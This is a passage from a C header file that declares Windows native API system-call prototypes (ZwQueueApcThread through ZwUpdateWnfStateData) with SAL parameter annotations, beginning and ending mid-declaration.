PVOID InfoBuffer,\n _In_ ULONG InfoBufferSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueueApcThread(\n _In_ HANDLE ThreadHandle,\n _In_ PPS_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueueApcThreadEx(\n _In_ HANDLE ThreadHandle,\n _In_opt_ HANDLE UserApcReserveHandle,\n _In_ PPS_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRaiseException(\n _In_ PEXCEPTION_RECORD ExceptionRecord,\n _In_ PCONTEXT ContextRecord,\n _In_ BOOLEAN FirstChance\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRaiseHardError(\n _In_ NTSTATUS ErrorStatus,\n _In_ ULONG NumberOfParameters,\n _In_ ULONG UnicodeStringParameterMask,\n _In_reads_(NumberOfParameters) PULONG_PTR Parameters,\n _In_ ULONG ValidResponseOptions,\n _Out_ PULONG Response\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReadFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReadFileScatter(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PFILE_SEGMENT_ELEMENT SegmentArray,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReadOnlyEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReadRequestData(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG DataEntryIndex,\n _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesRead\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReadVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _Out_writes_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesRead\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRecoverEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PVOID EnlistmentKey\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRecoverResourceManager(\n _In_ HANDLE ResourceManagerHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRecoverTransactionManager(\n _In_ HANDLE TransactionManagerHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRegisterProtocolAddressInformation(\n _In_ HANDLE ResourceManager,\n _In_ PCRM_PROTOCOL_ID ProtocolId,\n _In_ ULONG ProtocolInformationSize,\n _In_ PVOID ProtocolInformation,\n _In_opt_ ULONG CreateOptions\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRegisterThreadTerminatePort(\n _In_ HANDLE PortHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReleaseCMFViewOwnership(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReleaseKeyedEvent(\n _In_ HANDLE KeyedEventHandle,\n _In_ PVOID KeyValue,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReleaseMutant(\n _In_ HANDLE MutantHandle,\n _Out_opt_ PLONG PreviousCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReleaseSemaphore(\n _In_ HANDLE SemaphoreHandle,\n _In_ LONG ReleaseCount,\n _Out_opt_ PLONG PreviousCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReleaseWorkerFactoryWorker(\n _In_ HANDLE WorkerFactoryHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRemoveIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _Out_ PVOID *KeyContext,\n _Out_ PVOID *ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRemoveIoCompletionEx(\n _In_ HANDLE IoCompletionHandle,\n _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation,\n _In_ ULONG Count,\n _Out_ PULONG NumEntriesRemoved,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_ BOOLEAN Alertable\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRemoveProcessDebug(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE DebugObjectHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRenameKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING NewName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRenameTransactionManager(\n _In_ PUNICODE_STRING LogFileName,\n _In_ LPGUID ExistingTransactionManagerGuid\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplaceKey(\n _In_ POBJECT_ATTRIBUTES NewFile,\n _In_ HANDLE TargetHandle,\n _In_ POBJECT_ATTRIBUTES OldFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplacePartitionUnit(\n _In_ PUNICODE_STRING TargetInstancePath,\n _In_ PUNICODE_STRING SpareInstancePath,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplyPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReceivePort(\n _In_ HANDLE PortHandle,\n _Out_opt_ PVOID *PortContext,\n _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage,\n _Out_ PPORT_MESSAGE ReceiveMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReceivePortEx(\n _In_ HANDLE PortHandle,\n _Out_opt_ PVOID *PortContext,\n _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage,\n _Out_ PPORT_MESSAGE ReceiveMessage,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReplyPort(\n _In_ HANDLE PortHandle,\n _Inout_ PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRequestPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRequestWaitReplyPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage,\n _Out_ PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRequestWakeupLatency(\n _In_ LATENCY_TIME latency\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwResetEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwResetWriteWatch(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID BaseAddress,\n _In_ SIZE_T RegionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRestoreKey(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwResumeProcess(\n _In_ HANDLE ProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwResumeThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRevertContainerImpersonation(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRollbackComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRollbackEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRollbackTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ BOOLEAN Wait\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwRollforwardTransactionManager(\n _In_ HANDLE TransactionManagerHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSaveKey(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSaveKeyEx(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle,\n _In_ ULONG Format\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSaveMergedKeys(\n _In_ HANDLE HighPrecedenceKeyHandle,\n _In_ HANDLE LowPrecedenceKeyHandle,\n _In_ HANDLE FileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSecureConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n _Inout_opt_ PPORT_VIEW ClientView,\n _In_opt_ PSID RequiredServerSid,\n _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\n _Out_opt_ PULONG MaxMessageLength,\n _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation,\n _Inout_opt_ PULONG ConnectionInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSerializeBoot(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetBootEntryOrder(\n _In_reads_(Count) PULONG Ids,\n _In_ ULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetBootOptions(\n _In_ PBOOT_OPTIONS BootOptions,\n _In_ ULONG FieldsToChange\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetCachedSigningLevel(\n _In_ ULONG Flags,\n _In_ SE_SIGNING_LEVEL InputSigningLevel,\n _In_reads_(SourceFileCount) PHANDLE SourceFiles,\n _In_ ULONG SourceFileCount,\n _In_opt_ HANDLE TargetFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetContextThread(\n _In_ HANDLE ThreadHandle,\n _In_ PCONTEXT ThreadContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_ BOOLEAN State\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetDefaultHardErrorPort(\n _In_ HANDLE DefaultHardErrorPort\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetDefaultLocale(\n _In_ BOOLEAN UserProfile,\n _In_ LCID DefaultLocaleId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetDefaultUILanguage(\n _In_ LANGID DefaultUILanguageId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetDriverEntryOrder(\n _In_reads_(Count) PULONG Ids,\n _In_ ULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetEaFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetEventBoostPriority(\n _In_ HANDLE EventHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetHighWaitLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationDebugObject(\n _In_ HANDLE DebugObjectHandle,\n _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,\n _In_ PVOID DebugInformation,\n _In_ ULONG DebugInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationEnlistment(\n _In_opt_ HANDLE EnlistmentHandle,\n _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass,\n _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationJobObject(\n _In_ HANDLE JobHandle,\n _In_ JOBOBJECTINFOCLASS JobObjectInformationClass,\n _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation,\n _In_ ULONG JobObjectInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationKey(\n _In_ HANDLE KeyHandle,\n _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass,\n _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,\n _In_ ULONG KeySetInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationObject(\n _In_ HANDLE Handle,\n _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,\n _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation,\n _In_ ULONG ObjectInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationProcess(\n _In_ HANDLE ProcessHandle,\n _In_ PROCESSINFOCLASS ProcessInformationClass,\n _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n _In_ ULONG ProcessInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass,\n _In_reads_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation,\n _In_ ULONG ResourceManagerInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationThread(\n _In_ HANDLE ThreadHandle,\n _In_ THREADINFOCLASS ThreadInformationClass,\n _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation,\n _In_ ULONG ThreadInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationToken(\n _In_ HANDLE TokenHandle,\n _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,\n _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation,\n _In_ ULONG TokenInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass,\n _In_reads_bytes_(TransactionInformationLength) PVOID TransactionInformation,\n _In_ ULONG TransactionInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationTransactionManager(\n _In_opt_ HANDLE TmHandle,\n _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,\n _In_reads_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation,\n _In_ ULONG TransactionManagerInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass,\n _In_ ULONG_PTR NumberOfEntries,\n _In_reads_ (NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses,\n _In_reads_bytes_ (VmInformationLength) PVOID VmInformation,\n _In_ ULONG VmInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetInformationWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,\n _In_ ULONG WorkerFactoryInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetIntervalProfile(\n _In_ ULONG Interval,\n _In_ KPROFILE_SOURCE Source\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetIoCompletionEx(\n _In_ HANDLE IoCompletionHandle,\n _In_ HANDLE IoCompletionPacketHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetIRTimer(\n _In_ HANDLE TimerHandle,\n _In_opt_ PLARGE_INTEGER DueTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetLdtEntries(\n _In_ ULONG Selector0,\n _In_ ULONG Entry0Low,\n _In_ ULONG Entry0Hi,\n _In_ ULONG Selector1,\n _In_ ULONG Entry1Low,\n _In_ ULONG Entry1Hi\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetLowWaitHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetQuotaInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSecurityObject(\n _In_ HANDLE Handle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSystemEnvironmentValue(\n _In_ PUNICODE_STRING VariableName,\n _In_ PUNICODE_STRING VariableValue\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSystemEnvironmentValueEx(\n _In_ PUNICODE_STRING VariableName,\n _In_ LPGUID VendorGuid,\n _In_reads_bytes_opt_(ValueLength) PVOID Value,\n _In_ ULONG ValueLength,\n _In_ ULONG Attributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSystemInformation(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSystemPowerState(\n _In_ POWER_ACTION SystemAction,\n _In_ SYSTEM_POWER_STATE LightestSystemState,\n _In_ ULONG Flags // POWER_ACTION_* flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetSystemTime(\n _In_opt_ PLARGE_INTEGER SystemTime,\n _Out_opt_ PLARGE_INTEGER PreviousTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetThreadExecutionState(\n _In_ EXECUTION_STATE NewFlags, // ES_* flags\n _Out_ EXECUTION_STATE *PreviousFlags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetTimer(\n _In_ HANDLE TimerHandle,\n _In_ PLARGE_INTEGER DueTime,\n _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine,\n _In_opt_ PVOID TimerContext,\n _In_ BOOLEAN ResumeTimer,\n _In_opt_ LONG Period,\n _Out_opt_ PBOOLEAN PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetTimer2(\n _In_ HANDLE TimerHandle,\n _In_ PLARGE_INTEGER DueTime,\n _In_opt_ PLARGE_INTEGER Period,\n _In_ PT2_SET_PARAMETERS Parameters\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetTimerEx(\n _In_ HANDLE TimerHandle,\n _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass,\n _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation,\n _In_ ULONG TimerSetInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetTimerResolution(\n _In_ ULONG DesiredTime,\n _In_ BOOLEAN SetResolution,\n _Out_ PULONG ActualTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetUuidSeed(\n _In_ PCHAR Seed\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName,\n _In_opt_ ULONG TitleIndex,\n _In_ ULONG Type,\n _In_reads_bytes_opt_(DataSize) PVOID Data,\n _In_ ULONG DataSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetVolumeInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID FsInformation,\n _In_ ULONG Length,\n _In_ FSINFOCLASS FsInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSetWnfProcessNotificationEvent(\n _In_ HANDLE NotificationEvent\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwShutdownSystem(\n _In_ SHUTDOWN_ACTION Action\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwShutdownWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _Inout_ volatile LONG *PendingWorkerCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSignalAndWaitForSingleObject(\n _In_ HANDLE SignalHandle,\n _In_ HANDLE WaitHandle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSinglePhaseReject(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwStartProfile(\n _In_ HANDLE ProfileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwStopProfile(\n _In_ HANDLE ProfileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSubscribeWnfStateChange(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ WNF_CHANGE_STAMP ChangeStamp,\n _In_ ULONG EventMask,\n _Out_opt_ PULONG64 SubscriptionId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSuspendProcess(\n _In_ HANDLE ProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSuspendThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwSystemDebugControl(\n _In_ SYSDBG_COMMAND Command,\n _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTerminateJobObject(\n _In_ HANDLE JobHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTerminateProcess(\n _In_opt_ HANDLE ProcessHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTerminateThread(\n _In_opt_ HANDLE ThreadHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTestAlert(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwThawRegistry(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwThawTransactions(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTraceControl(\n _In_ ULONG FunctionCode,\n _In_reads_bytes_opt_(InBufferLen) PVOID InBuffer,\n _In_ ULONG InBufferLen,\n _Out_writes_bytes_opt_(OutBufferLen) PVOID OutBuffer,\n _In_ ULONG OutBufferLen,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTraceEvent(\n _In_ HANDLE TraceHandle,\n _In_ ULONG Flags,\n _In_ ULONG FieldSize,\n _In_ PVOID Fields\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwTranslateFilePath(\n _In_ PFILE_PATH InputFilePath,\n _In_ ULONG OutputType,\n _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath,\n _Inout_opt_ PULONG OutputFilePathLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUmsThreadYield(\n _In_ PVOID SchedulerParam\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnloadDriver(\n _In_ PUNICODE_STRING DriverServiceName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnloadKey(\n _In_ POBJECT_ATTRIBUTES TargetKey\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnloadKey2(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnloadKeyEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_opt_ HANDLE Event\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnlockFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PLARGE_INTEGER ByteOffset,\n _In_ PLARGE_INTEGER Length,\n _In_ ULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnlockVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG MapType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnmapViewOfSection(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnmapViewOfSectionEx(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUnsubscribeWnfStateChange(\n _In_ PCWNF_STATE_NAME StateName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwUpdateWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_reads_bytes_opt_(Length) const VOID *Buffer,\n _In_opt_ ULONG Length,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_opt_ const VOID *ExplicitScope,\n _In_ WNF_CHANGE_STAMP MatchingChangeStamp,\n _In_ LOGICAL CheckStamp\n 